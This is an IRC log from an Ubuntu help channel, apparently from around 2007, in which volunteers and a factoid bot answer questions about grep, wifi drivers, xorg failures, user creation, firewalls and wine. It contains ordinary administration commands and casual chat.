[06:27] <variant> trypticon: any x86 cpu
[06:27] <willskills> ah ha
[06:27] <willskills> new wine update alrdy
[06:27] <larry_> I'm having massife trouble with an amd system
[06:27] <kevinOoO> lanica, im not really sure where to find it, I installed apache 2 and I did not need to dl that
[06:27] <trypticon> are you sure? Fedora made the same claim and It's not true :(
[06:27] <willskills> I thought that one they put out the other day was a piece of cr*p
[06:28] <variant> chexay: but do they have strings or buttons?
[06:28] <TheLive1> i was able to see all the (windows) machines, including a USB Drive which has its own LAN card, on my network earlier this week and now they dont even display? nothing has changed.. i used simply nautilus to access these before
[06:28] <TheLive1> can any1 help
[06:28] <chexay> variant: buttons
[06:28] <variant> chexay: :/
[06:28] <lanica> kevinOoO: I'm wanting to recompile it with the exact same options its was compiled with, and then change a few things around.
[06:28] <variant> chexay: owuld have been a good training tool otherwise
[06:28] <romolus> somebody could tell me how to hide the initial windows (how seems like windows xp) of ubuntu and restore the information about the process that start after the boot
[06:29] <funkygreendogs> very quick question: IS it possible to make a DVD Audio disc that i can listen to in a stereo ???
[06:29] <kevinOoO> lanica yeah i would ask someone else you lost me there
[06:29] <Toma-> funkygreendogs: no.
[06:29] <lanica> kevinOoO: Ahh, ok.
[06:29] <variant> funkygreendogs: only if your stero has a dvd player.. which i have never heard of
[06:29] <Toma-> funkygreendogs: unless your stereo supports some sort of freaky DVD audio
[06:29] <funkygreendogs> :) ok thanks anyways guys
[06:30] <elliotjhug> variant, funkygreendogs: some extremely modern stereos can play DVDs specially made with mp3 tracks on
[06:30] <chexay> variant: yea, its still a lot of fun though, and I guess could help with timing...it would hard for a computer to detect what chord you're playing if it had strings i guess
[06:30] <Shaffox> can i install ubuntu-desktop, then install xfce and then remove ubuntu-desktop so i just have xcfe left ?
[06:30] <Dr_willis> elliotjhug,  and some dvd players can do that also. :)
[06:30] <elliotjhug> Dr_willis: sure can
[06:30] <Dr_willis> elliotjhug,  even seen some car cd players that are getting that feature.
[06:30] <variant> chexay: true
[06:30] <Lbawinowns> hey variant, when i go to /usr/games and run gnuchess, nnothing happens. What am I doing wrong?
[06:30] <elliotjhug> Dr_willis: cool
[06:30] <lanica> I guess I'll try the forums.
[06:30] <variant> Lbawinowns: afaik, gnuchess is a backend.. you are needing an interface
[06:31] <Dr_willis> elliotjhug,  saw one car radio that had a usb jack for your thumbdrives :)
[06:31] <variant> Lbawinowns: there are a few
[06:31] <chexay> i gtg, thanks everyone
[06:31] <chexay> variant: thnks again, later
[06:31] <Tarsinion1> Hi, i would like to search for a string "something" in a directory.... which command line tool should i use ?
[06:31] <Tarsinion1> its on a system where no gui is installed :-)
[06:31] <ByPasS> find ?
[06:31] <Lbawinowns> Is gnuuchess an engine? I wanted an interface :p, well, where can I get an interface. variant.
[06:32] <Rictoo_> how would I uninstall my wireless card driver? (eth1)\
[06:32] <Rictoo_> I want to redo it with ndis
[06:32] <Tarsinion1> sounds easy ByPass :S
[06:32] <Rictoo_> ...
[06:32] <Rictoo_> how would I uninstall my wireless card driver? (eth1)\
[06:32] <Rictoo_> I want to redo it with ndis
[06:32] <superkirbyartist> Sorry about the dirty jokes.
[06:32] <Tarsinion1> Buypass: does "find" search within the file itself ?
[06:32] <stdin> Tarsinion1: use find, eg: find /path/to/dir -type f -name "*string*" (to find all files with "string" in the name)
[06:33] <stdin> Tarsinion1: use grep for searching in files
[06:33] <Tarsinion1> stdin: .. does it search within the file itself ?
[06:33] <Tarsinion1> ok
[06:33] <superkirbyartist> Gnomefreak: sorry about the dirty jokes.
[06:33] <ByPasS> tar : i though u meant searching directory names
[06:33] <capgadget> If you are into chess on Linux get Fruit. http://www.fruitchess.com/
[06:34] <Lbawinowns> They also got an interface?
[06:34] <superkirbyartist> Capgadget: Open source?
[06:34] <stdin> Tarsinion1: grep -R "string" /path/to/dir (i think that it)
[06:34] <Tarsinion1> stdin: how do i get grep to search in all files ... ?
[06:34] <superkirbyartist> Lbawinowns: Try Eboard.
[06:34] <capgadget> Yes super
[06:34] <Tarsinion1> stdin: will try that, one sec
[06:34] <kevinOoO> lanica, what are you trying to get apache to do?
[06:34] <superkirbyartist> capgadget: nice, does it have custom levels?
[06:34] <stdin> Tarsinion1: that's what the -R is for (Recursive), for just one dir, use: grep "string" /path/to/dir/*
[06:34] <capgadget> Theyhave a commercial version too.
[06:35] <superkirbyartist> I think fruit is proprietary.
[06:35] <Lbawinowns> hmm nevermiknd
[06:35] <Tarsinion1> stdin: seams to work, thanks a lot :-)))) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[06:35] <_Luks> how do i create a submenu in gnome menu ?
[06:35] <superkirbyartist> Where can I get open source fruit?
[06:35] <stdin> Tarsinion1: no problam :)
[06:35] <capgadget> No there was an open soruce version then it got good enough that his later versions were commercial.
[06:36] <LjL> !info fruit | superkirbyartist
[06:36] <ubotu> superkirbyartist: fruit: chess engine, to calculate chess moves. In component universe, is optional. Version 2.1.dfsg-1 (edgy), package size 458 kB, installed size 776 kB
[06:36] <superkirbyartist> Reminds me of TuxRacer.
[06:36] <superkirbyartist> !TuxRacer
[06:36] <ubotu> Tuxracer is now renamed Planet Penguin Racer! The package is planetpenguin-racer in !universe. Enjoy.
[06:36] <superkirbyartist> !planetpenguin-racer
[06:37] <_Luks> how do i create a submenu in gnome menu ?
[06:37] <Pelo> _Luks,  alacarte
[06:38] <superkirbyartist> !Gnomefreak
[06:38] <ubotu> Sorry, I don't know anything about gnomefreak - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:38] <Pelo> gnomefreak,  is an op not a package
[06:38] <gnomefreak> superkirbyartist: dont keep it up, to use the bot use /msg ubotu
[06:39] <superkirbyartist> GnomeFreak: Why are you defending a bot?!
[06:39] <gnomefreak> superkirbyartist: use /msg ubotu  playing with the bot is not allowed in this channel
[06:39] <Pelo> bots, can'T defend themselves,  something to do with the 3 laws of robotics
[06:40] <Remowylliams> Hello everyone. I'm running linuxmint, which I believe is derived from Ubuntu, it does not seem to have headers so I can build software on it. it uses the Synaptic Package Manager, I'm curious if anyone knows what packages I need to build general C software like tinyfugue etc.
[06:40] <crdlb> superkirbyartist, you can also use #ubuntu-bots
[06:40] <Elik> http://lads.lathost.lv/go.php?1139592854
[06:40] -Elik:#ubuntu- http://lads.lathost.lv/go.php?1139592854
[06:40] <superkirbyartist> Are there any blender users in the house?
[06:40] <Dr_willis> RemoteViewer,  install the build essential , and other kernel header files.
[06:41] <Dr_willis> RemoteViewer,  that disrto is basicially ubuntu + a few extra things installed by default.
[06:41] <Dr_willis> !be
[06:41] <ubotu> Sorry, I don't know anything about be - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:41] <Dr_willis> !build-essential
[06:41] <ubotu> Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[06:41] <Pelo> Dr_willis,   you need to use nick complete more carefully
[06:42] <Dr_willis> heh..  im used to the other client i had that knew to use the last 'seaker' nick first.
[06:42] <Dr_willis> speaker
[06:42] <Pelo> Dr_willis,  you can tab throught the matching nicks
[06:42] <stdin> Dr_willis: konversation? :)
[06:42] <michal_> hello
[06:42] <Dr_willis> Pelo,  right.. and some times theres 10+ nicks to tab through
[06:42] <Dr_willis> and not all clients do that.
[06:42] <Remowylliams> Thank you for your help
[06:42] <LjL> Dr_willis: aw, what a smart client that was
[06:42] <Pelo> Dr_willis,  yeah I know
[06:43] <michal_> is there an icon in Linux similar to show desktop in Win?
[06:43] <Dr_willis> LjL,  i forget now.. I think it may of been some IM client.
[06:43] <Rictoo> How would I uninstall my wireless card driver? =/
[06:43] <LjL> Dr_willis: well it's a darn good idea anyway
[06:43] <Rictoo> I want to start from scratch with ndiswrapper =p
[06:43] <Dr_willis> see - michal_  is #3 LO
[06:43] <Dr_willis> so i type mi tab tab tab....
[06:43] <Pelo> michal_,   bottom  pannel,   to the left
[06:43] <Mike> Dag Namit, I need my wifi fixed.
[06:43] <ivoks> Rictoo: you don't uninstall it
[06:43] <Dr_willis> heh..
[06:43] <reubs> could someone help me with a basic kill process (beryl xserver) crash problem?
[06:43] <jchica> hola
[06:43] <michal_> uhm... kde
[06:43] <sorcerer> hey guys .. umm ... i have a problem i know how to use the par tool in command line i just downlaoded this file .. and it has long .. names and then with the extension .. par2 .. so how do i put the whole name in.. for example i wanna .. do a "par2 verify and the long name ..
[06:43] <LjL> !es | jchica
[06:43] <ubotu> jchica: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[06:43] <michal_> Dr_willis: ?
[06:44] <Dr_willis> My kde panel has a "desktop' button allready there.
[06:44] <michal_> Dr_willis: #3?
[06:44] <Tarsinion1> Anybody who has expierience with dokuwiki ?
[06:44] <Mike> $45 is yours if you private message me and tell me how to fix my wifi.
[06:44] <Dr_willis> michal_,  you are the #3 person onthe nick completionlist..  if xchat was a little smarter it would put you first.. since you spoke last. :)
[06:44] <Ultima> hey
[06:44] <Ultima> About Wubi
[06:44] <Ultima> I'm having trouble.
[06:44] <Pelo> reubs,   try asking in #beryl
[06:45] <Ultima> I can't download Wubi
[06:45] <reubs> it's more about killing a xserver while it's trying to respawn....
[06:45] <Dr_willis> of course nick completionis really getting to be a pain with channels with 1000+ people in the channel.
[06:45] <michal_> ok
[06:45] <larry_> ok
[06:45] <Rictoo> ivoks, how do I remove it?
[06:45] <sorcerer> wubi whats that ?
[06:45] <Rictoo> ivoks: How do I remove it then?
[06:45] <michal_> so what about the icon? I'm using KDE
[06:45] <Rictoo> How would I remove a wireless card driver?
[06:45] <Rictoo> How would I remove a wireless card driver?
[06:45] <ivoks> Rictoo: you don't; you just setup what you want; you don't remove drivers on linux
[06:45] <reubs> thanks Pelo
[06:45] <LjL> !repeat | Rictoo
[06:45] <ubotu> Rictoo: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[06:45] <Rictoo> but
[06:46] <Hdaackda> Can any one tell me what is the difference between ubuntu and kbuntu? which one is easier, which one is better?
[06:46] <Rictoo> I got the drive working with fwcutter
[06:46] <Ax4> !patience
[06:46] <ubotu> The people here are volunteers, your attitude may determine how fast you are helped.  Not everyone is available all the time, likewise not every answer is available instantly. See also http://wiki.ubuntu.com/IrcGuidelines
[06:46] <Ax4> lol
[06:46] <Rictoo> but now i wanna try it with ndis
[06:46] <Rictoo> so I just do it with ndis?
[06:46] <LjL> Rictoo: besides, the question is unanswerable unless we know how you installed it.
[06:46] <Rictoo> I don't need to remove the fwcutter one?
[06:46] <larry_> I tried to do a dist-upgrade got a kernel panic and now my xorg is dead and I cant reinstall it - certainly not with apt-get
[06:46] <ivoks> Rictoo: then just set it up with niss
[06:46] <Rictoo> I installed it with fwcutter
[06:46] <Rictoo> ivoks, niss?
[06:46] <Pelo> Hdaackda,   the diffrence is the windows manager,  kde or gnome,  more a matter of personnal preferences,  new users tend to find  gnome easier
[06:46] <LjL> larry_: a kernel panic? any idea how that could happen? sure you don't have any hardware issues?
[06:46] <larry_> I'm reduced once again to command line
[06:46] <ivoks> Rictoo: ndis
[06:47] <variant> larry_: sorry, forgot about u
[06:47] <Rictoo> ok
[06:47] <larry_> ok
[06:47] <_aLeSD> larry_: wow : you did a los of thinks
[06:47] <Mike> How do i access the services file?
[06:47] <variant> larry_: what error message does it give you when it panics?
[06:47] <LjL> Mike: you mean /etc/services?
[06:47] <larry_> I'm starting to suspect some possible hardware problems.
[06:47] <larry_> variant: that varies
[06:47] <ivoks> Rictoo: just add 'blacklist bcm43xx' to /etc/modprobe.d/blacklist, after you setup ndis
[06:47] <Mike> I dunno, I just need to get ndiswrapper to work opon boot
[06:47] <LjL> larry_: check drive (smartmontools) and memory (memtest86+)
[06:48] <Hdaackda> Pelo: gnome is with ubuntu?
[06:48] <Rictoo> ivoks
[06:48] <larry_> it seems to be something different every time
[06:48] <Pelo> Hdaackda,  yes
[06:48] <Rictoo> You're confusing me :(
[06:48] <variant> larry_: if you have an nvidia card + proprietry driver that would be a prime suspect in my experianec
[06:48] <LjL> larry_: even more so then
[06:48] <drewzf> If I'm missing items in both /etc/ and /dev/ that are part of a base install will chrooting on a livecd and dist-upgrading fix this?
[06:48] <larry_> ATI card
[06:48] <ivoks> Rictoo: set up your wifi with ndis
[06:48] <Rictoo> o
[06:48] <Rictoo> k
[06:48] <variant> larry_: or ati + proprietry driver
[06:48] <Rictoo> and then?
[06:48] <larry_> no prop driver installed
[06:48] <LjL> !enter
[06:48] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[06:48] <variant> larry_: ok :/ thats that theory out the window then
[06:48] <ivoks> Rictoo: and add blacklist bcm43xx to /dev/modprobe.d/blacklist
[06:48] <Hdaackda> where can I find feautures of ubuntu (latest), or a whats new?
[06:48] <Mike> Anyone help me? I need to finish this in the next 10 mins.
[06:48] <Rictoo> I did it by accident, LjL
[06:49] <LjL> !feisty > Hdaackda    (Hdaackda, see the private message from Ubotu) | browse to the "specs" page
[06:49] <ivoks> Rictoo: so it doesn't load old driver, but ndis one
[06:49] <Rictoo> ivoks, ok, thanks :D
[06:49] <RavenDoc> Howdy ...  question.. can u dual boot ubuntu with windows xp?
[06:49] <Pelo> Mike,  come back when you hare more time
[06:49] <Pelo> RavenDoc,  yes
[06:49] <LjL> !dualboot > RavenDoc    (RavenDoc, see the private message from Ubotu)
[06:49] <Mike> I just need to do a download
[06:49] <michal_> is there an icon show desktop in KDE?
[06:49] <variant> Mike: sorry, this is a free support channel. there is paid support available from canonical
[06:49] <drewzf> Does dist-upgrade seek dependency issues?
[06:49] <RavenDoc> gracias.
[06:49] <Mike> ok, Can someone do it for free?
[06:49] <drewzf> I'm missing some kind of input device in /dev/
[06:49] <larry_> my xorg is very very broken at the moment
[06:50] <_aLeSD> variant: what is canonical ?
[06:50] <drewzf> A server of mine screwed up when unrarring to /etc/
[06:50] <LjL> drewzf: hardly anything to do with dist-upgrade, especially seeing that /dev is created on the fly, it's not a real directory
[06:50] <variant> _aLeSD: the company that owns ubuntu
[06:50] <ivoks> _aLeSD: company that created ubuntu
[06:50] <milaks> Hi. Does someone knows is there "wtf" ( http://rpmfind.net/linux/rpm2html/search.php?query=wtf ) package for ubuntu, or where can I get source of it?
[06:50] <_aLeSD> wow
[06:50] <Pelo> mike what is it you want 6
[06:50] <variant> _aLeSD: owns is not correct actualy
[06:50] <Pelo> ?
[06:50] <larry_> tried reinstalling it to no avail - I keep getting errors now when I try to remove it
[06:50] <ivoks> variant: sponsor is best term
[06:50] <_aLeSD> larry_: reinstall it and configure it with vesa generic board
[06:50] <Dr_willis> !find wtf
[06:50] <sorcerer> can anyone please tell me how importand in the world really is a firewall for .. ubuntu .. and all i do is surf the net download huge files .. and .. umm play online games ... do i need one .. and what do you guys reccoment ?
[06:50] <variant> _aLeSD: they are the parent, they provided funds
[06:50] <variant> ivoks: indeed
[06:50] <ubotu> File wtf found in bsdgames
[06:51] <Mike> I installed my WG111 Wifi stick yesterday, but now today i cant connect,I was told that i had to add somthing to services to make it work after boot everytime.
[06:51] <_aLeSD> larry_: later you do it better
[06:51] <larry_> _aLeSD: reinstall wont work
[06:51] <variant> sorcerer: a firewall is essential..
[06:51] <larry_> I get constant errors
[06:51] <chris> sorcerer: Firestarter
[06:51] <Dr_willis> milaks,  its in the bsdgames package it seems.
[06:51] <LjL> sorcerer: unless you install services that aren't there by default (say, a web server, or an ftp server), i don't consider a firewall vital - or even particularly important - to have
[06:51] <milaks> thanks Dr_willis
[06:51] <sorcerer> umm yeah i was reading something about lokkit and guard dog and something called ip tables
[06:51] <_aLeSD> larry_: xorgcfg ?
[06:51] <variant> larry_: try dpkj-reconfigure xorg
[06:51] <Pelo> Mike,   I don'T know how to help you, check the forum for your issue
[06:51] <Hidan|Shower> pricechild: can't be helped... i was talking to someone but she'd to go offline for a while. and then i needed to go afk. and then, she's not very good at using irc either. =/
[06:51] <Dr_willis> sorcerer,  its not near the issue under linux, that it is under windows..
[06:51] <Mike> Pelo: Damnit
[06:52] <sorcerer> i mean like hackers ... what would theyt do if tehy get into my compuyter i mean does this stuff happen all the time
[06:52] <drewzf> LjL: Are items in /etc/ used for this on-the-fly creation of /dev/?
[06:52] <kube> siemanko
[06:52] <variant> sorcerer: yes, it happens all the time.
[06:52] <sorcerer> i mean i am conencted to teh net throught just my cable modem
[06:52] <PriceChild> Hidan|Shower, if this is about the afk status... please don't use them in busy channels like this :)
[06:52] <Dr_willis> sorcerer,  people 'hacking' into your linux box are going to be somewhat rare. compared to how COMMON it is for windows machines.
[06:52] <ha978> sorcerer, just dont run random executables and stay patched up and you should be ok
[06:52] <variant> sorcerer: they would probably use it as a zombie host to send spam or as a point of attack to attack somone else
[06:52] <_aLeSD> larry_: the thing is 1 if xorg is the origianl one , if it worked before , ---- the problem is the configuration file
[06:52] <variant> sorcerer: a firewall is important on any os
[06:52] <_aLeSD> or something that is not xorg
[06:53] <HorizonXP> hey guys
[06:53] <LjL> drewzf: quite possibly, but that's beyond my knowledge. still anyway, if your /etc is messed up, the problem is not only with /dev, for sure. especially if files were *overwritten*, beside added
[06:53] <sorcerer> variant: what do you use to secure yourself ?
[06:53] <HorizonXP> how do i get Suspend to work properly on my laptop?
[06:53] <HorizonXP> !Suspend
[06:53] <ubotu> Sorry, I don't know anything about suspend - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:53] <variant> sorcerer: a hardware firewll
[06:53] <HorizonXP> !acpi
[06:53] <ubotu> Sorry, I don't know anything about acpi - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:53] <variant> sorcerer: firewall
[06:53] <larry_> variant: it says that xorg is broken or not fully installed
[06:53] <HorizonXP> !apm
[06:53] <_aLeSD> larry_: in your /var/log you have the file of the log of xorg ... you can see there what is the error
[06:53] <ubotu> Sorry, I don't know anything about apm - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:53] <drewzf> LjL: What's the easiest way to fix a messed up /etc/?
[06:53] <variant> larry_: can you apt-get remove it?
[06:53] <LjL> !botabuse | HorizonXP
[06:53] <ubotu> HorizonXP: Please investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...
[06:53] <vincent_> h
[06:53] <_aLeSD> larry_:: I think Xorg.0.log
[06:53] <Pelo> HorizonXP,  your best bet is to check the forum,  but that suspend thing is an issue in most linux distro atm
[06:53] <LjL> drewzf: restoring a backup of it.
[06:54] <larry_> _aLeSD: the conf file hasnt changed since last x worked
[06:54] <surviver> anyone that can explain me how i can send messages to windows pc? in network ?
[06:54] <michal_> kube: cze
[06:54] <drewzf> LjL: Other than that?
[06:54] <sorcerer> variant: umm hardware .. like what a router ?
[06:54] <variant> sorcerer: check out netscreen.. they have some nice cheap (ish) and decent firewalls.. there are ones based on gnu/linux that are probably better though
[06:54] <HorizonXP> Pelo: on the wiki, there's a section for my laptop that says to add pci=noacpi to grub
[06:54] <_aLeSD> larry_: impossibl3e the config file is writen new every time you start xorg
[06:54] <variant> sorcerer: no, a dedicated hardware firewall.. thats all it does
[06:54] <HorizonXP> Pelo: where would I edit grub?
[06:54] <_aLeSD> or you try to
[06:54] <variant> sorcerer: that goes to a router
[06:54] <_aLeSD> ops
[06:54] <_aLeSD> sorry
[06:54] <_aLeSD> the log file
[06:54] <Pelo> HorizonXP,  try asking in #grub
[06:54] <larry_> variant: cant apt-get remove it - it says I need to reinstall it before removing it because it's in an inconsistent state. that error message seems to contradict itself, no?
[06:54] <LjL> drewzf: if you don't have one, it's non trivial, to put it lightly. you could purge and reinstall every package you have, but 1) it's hard to do, for dependencies reasons  2) it'll probably take about as long as reinstalling Ubuntu from scratch, or longer  3) you'll lose any custom configuration you had
[06:55] <_aLeSD> larry_: take a look to the Xorg.0.log
[06:55] <sorcerer> variant: i mean iam new to linux .. ubuntu .. do i need to be messing with firewalls and stuff coz i woudlnt have a clue
[06:55] <variant> larry_: lol a bit
[06:55] <gnomefreak> HorizonXP: add it to the kernel boot options in /boot/grub/menu.lst
[06:55] <larry_> _aLeSD: ok
[06:55] <_aLeSD> larry_: and find a (EE)
[06:55] <Dr_willis> sorcerer,  proberly not somthing to worry about.
[06:55] <surviver> HorizonXp, /boot/grub/menu.lst
[06:55] <drewzf> LjL: How do I purge and reinstall?
[06:55] <variant> sorcerer: just install firestarter and start it up.. shouldn't have any problems as its a lot easyer to use than most other firewall software
[06:55] <drewzf> dpkg...
[06:55] <_aLeSD> larry_: that is why your xorg won't start
[06:55] <LjL> drewzf: but you said you "just" unrarred a file into it. that would mean that files were simply *added* to /etc, but it's unlikely that files were *overwritten*, am i right?
[06:55] <Dr_willis> sorcerer,  firewalling  is built into linux and controlled with the iptables commands.. or a front end to those commands like guard dog.
[06:55] <mjunx-sama> how do I get the Fn key to work on a vaio vgn-fs laptop?
[06:55] <chris> sorcerer: If your really worried just grab firestarter, its just a nice simple one
[06:55] <Glos_WiFi> i need help setting up a internal audio card, its a Nvidia 1, ive used the !audio links aswell
[06:55] <Dr_willis> I think i got that right...
[06:55] <surviver> anyone that can explain me how i can send a message over network? its with a windows pc..?
[06:55] <drewzf> LjL: It's VERY likely that files were overwritten
[06:56] <Dr_willis> guarddog/firestarter/other front ends.
[06:56] <Pelo> sorcerer,  you donT' need to mess with it,  just relax, linux is already more secure , leave the firewall as is unless you are getting problems
[06:56] <_aLeSD> larry_: let me know eh
[06:56] <LjL> drewzf: sudo apt-get --purge remove packagename; sudo apt-get install packagename   for every single package you have. and it will end up uninstalling everything because of dependencies, in any case. don't do it.
[06:56] <larry_> (EE) No drivers available
[06:56] <drewzf> LjL: I didn't personally unrar, that's what has happened though, and I'm the person who's to clean it up
[06:56] <Dr_willis> surviver,  install an IM client on both machines is the easy way.
[06:56] <_aLeSD> larry_: ol
[06:56] <sorcerer> umm ok .. well then .. iam soo intrested in learning about linux and what i can do with it . i just wanna learn
[06:56] <_aLeSD> larry_: easy no ?
[06:56] <larry_> _aLeSD: thats what the log file says
[06:56] <LjL> drewzf: ok, but what could they have unrarred into it that had the same name as linux config files?
[06:56] <surviver> Dr_willis, hehe yeah thats some easy stff but i want to send him messages over network :) cause he doesnt have any account
[06:56] <drewzf> LjL: Linux config files from an old server
[06:56] <Dr_willis> surviver,  thers that samba/netmessage thing. but its normally blocked by default now a days.
[06:56] <piratepenguin> I've a feature suggestion for HomeUserBackup, what might I do about it?
[06:56] <Pelo> sorcerer,   google for iptables
[06:56] <drewzf> LjL: With different hardware
[06:57] <ha978> is it safe to install the feisty release candidate then grab updates?
[06:57] <_aLeSD> larry_: ok now let's go in the conf file to know which driver are you using
[06:57] <LjL> drewzf: yes, i thought that was the only possible explanation ;)
[06:57] <Dr_willis> surviver,  you mean over the INTERNET? or a local lan?
[06:57] <larry_> _aLeSD: do I need to reinstall some generig drivers?
[06:57] <surviver> dr_willis, lan
[06:57] <chris> sorcerer: But most people dont really need one, like LjL said unless your adding web server etc. you'll be okay, so long as you use common sense
[06:57] <LjL> drewzf: seriously, what you want to do is... reinstall. sorry
[06:57] <Pelo> piratepenguin,  I am sure there is a feature request section in the forum
[06:57] <_aLeSD> larry_: edit /etc/X11/xorg.conf
[06:57] <piratepenguin> Pelo, ok, thanks
[06:57] <LjL> !cloning > drewzf    (drewzf, see the private message from Ubotu) | might find this useful for making the job a bit lighter
[06:57] <drewzf> LjL: Bleh. Thanks. Should I try the dist-upgrade?
[06:57] <HorizonXP> k, i'm off to try it guys
[06:58] <HorizonXP> here's hoping it works!
[06:58] <surviver> Dr_willis, i found sonthing echo 'message' | smbclient -M windows_box but it aint working ..
[06:58] <_aLeSD> larry_: look for Driver
[06:58] <larry_> _aLeSD: the timestamp on the file is from lastnight - when I installed this system
[06:58] <_aLeSD> I have  Driver      "nvidia"
[06:58] <LjL> drewzf: try, why not. for packages that had their config files changed since the last version, you'll be asked if you want to overwrite them, and that way you'll get brand new (working) config files. but only for *those* packages... not really much use
[06:58] <Dr_willis> surviver,  thats using that samba messaging stuff that is NORMALLY blocked now a days.
[06:58] <dc> I installed a program via wine - how do i run it?
[06:58] <YetiChick> surviver:  It's not going to work most of the time nowadays.
[06:58] <Glos_WiFi> does anyone know how to set up a nVidia MCP51 HDA card (onboard)
[06:59] <surviver> YetiChick, mzz to bad, anyway thx :)
[06:59] <Dr_willis> surviver,  there was a explot that used it.. and its good that its blocked now a days. :)
[06:59] <_aLeSD> larry_: doesn't matter we are searching for which driver desapeared
[06:59] <krille> can anyone, non korean schoolkiller tell me how the "export" command works? PM if you can.
[06:59] <surviver> Dr_willis, jup u can easly use it for other stuff:p
[06:59] <larry_> _aLeSD: Driver          "ati"
[06:59] <dc> I installed a program via wine - how do i run it?
[06:59] <chris> krille: No need for the sick joke
[06:59] <larry_> think that might be a prob
[06:59] <variant> krille: what are you talking about non korean schoolkilleer?
[06:59] <Pelo> later folks
[06:59] <sorcerer> ok ... ill leave .. it alone then .. umm but what else can you guys tell me to leanr or mess aruond so i can get to know ubuntu .. coz right now i dunnoi why i still have .. windows i mean for the three days i havent ever logged to windows at all just being on linux downloading stuff and hwat not .. anything you guys think i should be doing '/
[06:59] <variant> dc: wine /path/to/program.exe
[06:59] <sorcerer> something fancy that windows doesnt have :)
[06:59] <surviver> Dr_willis, any thx for help
[06:59] <LjL> drewzf: if you do the right things in the right order, anyway, reinstalling shouldn't be too bad. of course you'll lose any custom configuration, but - you've lost them already by overwriting /etc...
[06:59] <progek> I am trying to create a new user account remotely. Can someone help me with the syntax?
[07:00] <surviver> Dr_willis, anyway* thx for help
[07:00] <chris> variant: the guy who did the shootings in US
[07:00] <chris> variant: He was korean
[07:00] <progek> I'm using ssh
[07:00] <drewzf> LjL: Is there no default /etc/ directory I can deploy?
[07:00] <variant> chris: that is extremely offtopic..
[07:00] <_aLeSD> larry_: ok ... now you can change your question
[07:00] <krille> variant: the one in some state in US.
[07:00] <dc> I installed a program via wine - how do i run it?
[07:00] <chris> variant: Im just telling you what he was saying :S
[07:00] <larry_> _aLeSD: ??
[07:00] <progek> dc do to .wine
[07:00] <variant> dc: i just told you
[07:00] <progek> go to^
[07:00] <progek> /home/user/.wine
[07:00] <me_> wine exe_path
[07:01] <_aLeSD> larry_: why my xorg doesn't find the ati drivers?
[07:01] <variant> chris: sorry, though u were krille  :)
[07:01] <zhivazhiva> hi hi people. Im looking for a hardware compatibility list. Specifically for a good motherboard for a server installation
[07:01] <chris> variant: good good :)
[07:01] <larry_> _aLeSD: are there other driver I can use instead?
[07:01] <progek> does anyone know the command to create a new user account through terminal?
[07:01] <dc> variant: that didnt work, thought i sent a message.  i already installed it, but i dont know the path wine installed to
[07:01] <_aLeSD> larry_: and sare a xorg.conf configurated with vesa
[07:01] <reydelsillon> to edit a file......  $kate /path /nameoffile ?
[07:01] <variant> progek: useradd -m -G users,admin username
[07:01] <_aLeSD> vesa is supported from every card
[07:01] <variant> progek: with sudo infront
[07:01] <LjL> drewzf: not really... you could take the one that's on the live CD, but i doubt it's adequate for a non-live installation. i can try to write a script that fetches /etc files from packages, but keep in mind that will still mean re-downloading all packages
[07:01] <variant> progek: then passwd username
[07:01] <progek> thanks variant
[07:01] <variant> progek: to set a password for the user
[07:01] <LjL> !addyser > progek    (progek, see the private message from Ubotu)
[07:02] <dc> progek: i have no clue about anything in wine, please elaborate
[07:02] <_aLeSD> larry_: maybe you will have problems with the monitor but it works
[07:02] <LjL> progek: sudo adduser username
[07:02] <drewzf> LjL: I just need the fastest solution available
[07:02] <drewzf> I'm gonna stab Dan
[07:02] <sadistic_> Hello , can someone help me out with creating launchers on panels ?
[07:02] <variant> LjL: will that create the user and add him/her to the user group?
[07:02] <progek> dc. you are trying to run a program with wine?
[07:02] <_aLeSD> larry_: try substituing ati with vesa and startx again ... if you are lucky it will work
[07:02] <reydelsillon> to edit a file......  sudo kate /path... /nameoffile ?
[07:02] <variant> sadistic_: what is the problem?
[07:02] <LjL> drewzf: the fastest solution *would* be to deploy a "default" /etc, but i know of no such thing being available
[07:03] <dc> progek: i ran the programs setup.exe in wine, it installed successfully.  i have no clue how to start it though
[07:03] <Glos_WiFi> does anyone even know if its possible for the nVidia MCP51 HDA to work with 6.10? (its built into a Gateway)
[07:03] <larry_> _aLeSD: it worked a bit
[07:03] <_aLeSD> larry_: I can't tell you why you don't have ati driver installed . : I don't use gentoo
[07:03] <sadistic_> variant , i dont know exactly to add in "command" line to run programs i need to run the programs i need to
[07:03] <drewzf> I'm gonna pull my friggin hair out -.-'
[07:03] <LjL> variant: only to his own group. but the !adduser factoid does specify that you should add the user to "admin" (and that's "addgroup foo admin") if you want it to use sudo
[07:03] <larry_> _aLeSD: thanks a million
[07:03] <_aLeSD> larry_: I can't tell you why you don't have ati driver installed . : I don't use ubuntu
[07:04] <larry_> =0)
[07:04] <progek> dc, to learn a little more about wine and find your installed programs start by going to its root directory. It's in your home folder but it's hidden. Open a terminal and type cd .wine   you can look around with ls and traverse to find the application. You can also unhide the holders graphically and look around
[07:04] <variant> drewzf: why would it overwrite what was there already? unless it was a rar of an /etc/ directory?
[07:04] <_aLeSD> larry_: now look to the Xorg.0.log
[07:04] <_aLeSD> :)
[07:04] <reydelsillon> to edit a file......  sudo kate /path... /nameoffile ???
[07:04] <drewzf> variant: Because it was a rar of an /etc/ directory.
[07:04] <mrtimdog> Hi, anyone eny experience with kvm and adding usb devices?
[07:04] <variant> drewzf: that explains it :)
[07:04] <_aLeSD> larry_: for sure vesa doesn't support the resolution
[07:04] <drewzf> We're in a rush to fix a server that crashed, that also didn't have backups...
[07:04] <_aLeSD> or the refresh
[07:04] <variant> !kvm
